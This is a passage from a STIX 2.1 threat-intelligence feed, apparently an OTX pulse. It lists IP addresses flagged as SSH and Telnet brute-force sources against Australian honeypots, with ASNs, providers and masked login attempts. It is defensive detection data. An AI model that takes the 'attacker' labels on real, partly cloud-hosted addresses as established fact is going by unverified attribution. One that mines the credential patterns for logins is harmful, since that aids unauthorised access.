      "id": "indicator--76526e5f-a650-426b-acea-976a0a673e5f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.250.10.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T14:15:10.000Z",
      "valid_until": "2026-06-18T14:15:08.000Z"
    },
    {
      "created": "2026-05-17T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TH. ASN(s): 133481. Organisation(s): AIS Fibre. Usernames observed (masked): r**t. Passwords observed (masked): !**3.",
      "id": "indicator--33ff52b5-e7f3-47c7-b3c6-6ad4bf2fe206",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '49.228.240.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T14:15:10.000Z",
      "valid_until": "2026-06-18T14:15:08.000Z"
    },
    {
      "created": "2026-05-17T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 9121. Organisation(s): Turk Telekom.",
      "id": "indicator--f405d647-a0fa-431b-8f6a-8d5571cf4422",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '78.189.86.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T14:15:10.000Z",
      "valid_until": "2026-06-18T14:15:08.000Z"
    },
    {
      "created": "2026-05-17T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--59bfd7c8-c9d5-4c08-b1c6-087909b0228c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '8.218.120.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T14:15:10.000Z",
      "valid_until": "2026-06-18T14:15:08.000Z"
    },
    {
      "created": "2026-05-17T15:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NG. ASN(s): 197769. Organisation(s): VPS Dedicated LLC. Usernames observed (masked): r**t. Passwords observed (masked): t*****e.",
      "id": "indicator--31b087f1-163c-46f1-8346-4708b029883e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.220.160.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T15:15:11.000Z",
      "valid_until": "2026-06-18T15:15:08.000Z"
    },
    {
      "created": "2026-05-17T15:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 63737. Organisation(s): VIETSERVER SERVICES TECHNOLOGY COMPANY LIMITED. Usernames observed (masked): a***n, r**t. Passwords observed (masked): a***n, , r**t.",
      "id": "indicator--a9ca2f0f-3650-454e-abc9-b550ba07bf25",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.209.60.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T15:15:11.000Z",
      "valid_until": "2026-06-18T15:15:08.000Z"
    },
    {
      "created": "2026-05-17T15:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--a2314fc5-ce49-42d6-ba4b-9ff38ddf33df",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.210.50.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T15:15:11.000Z",
      "valid_until": "2026-06-18T15:15:08.000Z"
    },
    {
      "created": "2026-05-17T15:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BD. ASN(s): 153329. Organisation(s): Roar Zone.",
      "id": "indicator--ba5351ce-7b49-44a6-8e60-c733f862926c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '160.187.56.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T15:15:11.000Z",
      "valid_until": "2026-06-18T15:15:08.000Z"
    },
    {
      "created": "2026-05-17T15:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 179. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, g********r, 3**********4, b**s, h******u. Passwords observed (masked): 1***4, 1******A, 1**********0, ***, 3***********4.",
      "id": "indicator--a242d6be-3cdf-4519-9c20-eae2c145d966",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.134.52.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T15:15:11.000Z",
      "valid_until": "2026-06-18T15:15:08.000Z"
    },
    {
      "created": "2026-05-17T15:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 185. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, g********r, 3**********4, b**s, h******u. Passwords observed (masked): 1***4, 1******A, 1**********0, 1******#, ***.",
      "id": "indicator--66a3193d-f3d9-40d5-9807-7814a6fa4a83",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.173.90.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T15:15:11.000Z",
      "valid_until": "2026-06-18T15:15:08.000Z"
    },
    {
      "created": "2026-05-17T15:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): G************1, U*********************1. Passwords observed (masked): A**********, H**********************3.",
      "id": "indicator--00d3a3b4-ee5c-444a-acc3-0dacfb6246f8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.251.9.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T15:15:11.000Z",
      "valid_until": "2026-06-18T15:15:08.000Z"
    },
    {
      "created": "2026-05-17T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--5f1777df-2d28-40ec-8e88-e14860980cad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '117.42.228.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T16:15:10.000Z",
      "valid_until": "2026-06-18T16:15:08.000Z"
    },
    {
      "created": "2026-05-17T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 155. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, d****y, 3**********4, ***, ***. Passwords observed (masked): 1**4, 1****0, 1****!, 1****6, 3***********4.",
      "id": "indicator--48016922-f2a1-4bf2-9045-d990118f4540",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '118.193.38.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T16:15:10.000Z",
      "valid_until": "2026-06-18T16:15:08.000Z"
    },
    {
      "created": "2026-05-17T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t. Passwords observed (masked): h********$.",
      "id": "indicator--7eb0c508-c16a-404d-a547-6e7272bddcb5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '124.156.194.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T16:15:10.000Z",
      "valid_until": "2026-06-18T16:15:08.000Z"
    },
    {
      "created": "2026-05-17T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: NO. ASN(s): 49455. Organisation(s): Telia Norge AS.",
      "id": "indicator--747319fc-c775-4414-a4dc-28e637ce62ee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '188.113.80.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T16:15:10.000Z",
      "valid_until": "2026-06-18T16:15:08.000Z"
    },
    {
      "created": "2026-05-17T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 29182. Organisation(s): JSC IOT. Usernames observed (masked): r**t. Passwords observed (masked): A********a.",
      "id": "indicator--1ec13cbf-b326-4c66-9160-a72ec2762b51",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '188.120.230.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T16:15:10.000Z",
      "valid_until": "2026-06-18T16:15:08.000Z"
    },
    {
      "created": "2026-05-17T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--077cb72f-5896-4c4f-a462-7af8034c8c5d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T16:15:10.000Z",
      "valid_until": "2026-06-18T16:15:08.000Z"
    },
    {
      "created": "2026-05-17T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 124. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 46887. Organisation(s): Crown Castle Fiber LLC. Usernames observed (masked): r**t, 3**********4, d****y, **. Passwords observed (masked): 1*******3, 1**4, 1********t, 3****0, 3***********4.",
      "id": "indicator--5bcc26d2-0807-4150-8d84-6a2b4bfb1b1b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '208.69.84.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T16:15:10.000Z",
      "valid_until": "2026-06-18T16:15:08.000Z"
    },
    {
      "created": "2026-05-17T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--f080f4ec-1cb7-425a-83a7-c171f8b429e9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '36.255.33.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T16:15:10.000Z",
      "valid_until": "2026-06-18T16:15:08.000Z"
    },
    {
      "created": "2026-05-17T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t. Passwords observed (masked): s********3.",
      "id": "indicator--54410a24-f951-48e1-8f94-4c3675410081",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.134.10.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T16:15:10.000Z",
      "valid_until": "2026-06-18T16:15:08.000Z"
    },
    {
      "created": "2026-05-17T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4, **. Passwords observed (masked): 1**4, 3***********4, 3**********4, M*******3, P******d.",
      "id": "indicator--5f3b08ff-4e72-4f17-9be3-c7b086382a93",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.159.168.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T16:15:10.000Z",
      "valid_until": "2026-06-18T16:15:08.000Z"
    },
    {
      "created": "2026-05-17T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--7b89bcc8-ab80-421d-892a-9f24385b09e7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '61.75.213.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T16:15:10.000Z",
      "valid_until": "2026-06-18T16:15:08.000Z"
    },
    {
      "created": "2026-05-17T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--e4eddad1-8df4-4482-8bd0-a367dbab2d4c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T16:15:10.000Z",
      "valid_until": "2026-06-18T16:15:08.000Z"
    },
    {
      "created": "2026-05-17T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--81992fa7-991b-455f-b168-683d8b2b96b4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T17:15:11.000Z",
      "valid_until": "2026-06-18T17:15:08.000Z"
    },
    {
      "created": "2026-05-17T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 28015. Organisation(s): MERCO COMUNICACIONES.",
      "id": "indicator--0a4a6450-f0f8-4291-986a-5ed7d7946c5c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.217.227.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T17:15:11.000Z",
      "valid_until": "2026-06-18T17:15:08.000Z"
    },
    {
      "created": "2026-05-17T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 262. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4, d****y, ***, ***. Passwords observed (masked): 1**4, 3***********4, 3**********4, 1****0, 1****!.",
      "id": "indicator--524c259f-89fe-4853-929b-75737c19edb8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.153.3.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T17:15:11.000Z",
      "valid_until": "2026-06-18T17:15:08.000Z"
    },
    {
      "created": "2026-05-17T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 269344. Organisation(s): Onda Livre Fibra LTDA..",
      "id": "indicator--58bb4330-2afb-4d34-b681-30fcba776eb8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.184.212.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T17:15:11.000Z",
      "valid_until": "2026-06-18T17:15:08.000Z"
    },
    {
      "created": "2026-05-17T18:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 330. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*******8, 1************&, 9****3.",
      "id": "indicator--70f5acbc-9107-4aab-8a65-dbf9981b6922",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '124.156.195.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T18:15:11.000Z",
      "valid_until": "2026-06-18T18:15:09.000Z"
    },
    {
      "created": "2026-05-17T18:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 259. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, ***, 4******q, 8*****9.",
      "id": "indicator--07e8b747-acf8-4f37-ad85-3196a20e36fe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '150.109.10.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T18:15:11.000Z",
      "valid_until": "2026-06-18T18:15:09.000Z"
    },
    {
      "created": "2026-05-17T18:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 260. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*******8, 1************&, 9****3.",
      "id": "indicator--0392619a-2888-41f1-afa7-38ac67a314aa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '170.106.179.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T18:15:11.000Z",
      "valid_until": "2026-06-18T18:15:09.000Z"
    },
    {
      "created": "2026-05-17T18:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 266468. Organisation(s): ACESSANET TELECON LTDA.",
      "id": "indicator--2e4cb864-ea32-4f9a-83cc-f3ee3cf319d0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '170.83.144.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T18:15:11.000Z",
      "valid_until": "2026-06-18T18:15:09.000Z"
    },
    {
      "created": "2026-05-17T18:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 259. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 215590. Organisation(s): DpkgSoft International Limited. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, ***, 4******q, 8*****9.",
      "id": "indicator--2a144c5a-cd0f-4882-a074-b42873ab395d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '77.239.111.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T18:15:11.000Z",
      "valid_until": "2026-06-18T18:15:09.000Z"
    },
    {
      "created": "2026-05-17T19:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd..",
      "id": "indicator--968fb001-d3f6-4b5f-a111-7d61c6c7c0c4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T19:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '120.48.14.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T19:15:14.000Z",
      "valid_until": "2026-06-18T19:15:08.000Z"
    },
    {
      "created": "2026-05-17T19:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--cba22fa5-e8ce-4cbd-ac81-1e7023cd4f4e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T19:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '134.122.60.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T19:15:14.000Z",
      "valid_until": "2026-06-18T19:15:08.000Z"
    },
    {
      "created": "2026-05-17T19:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 208087. Organisation(s): Ediniy Operator Svyazi LLC.",
      "id": "indicator--5da8daee-edd1-42b0-be9e-c35505fc2942",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T19:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '146.120.158.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T19:15:14.000Z",
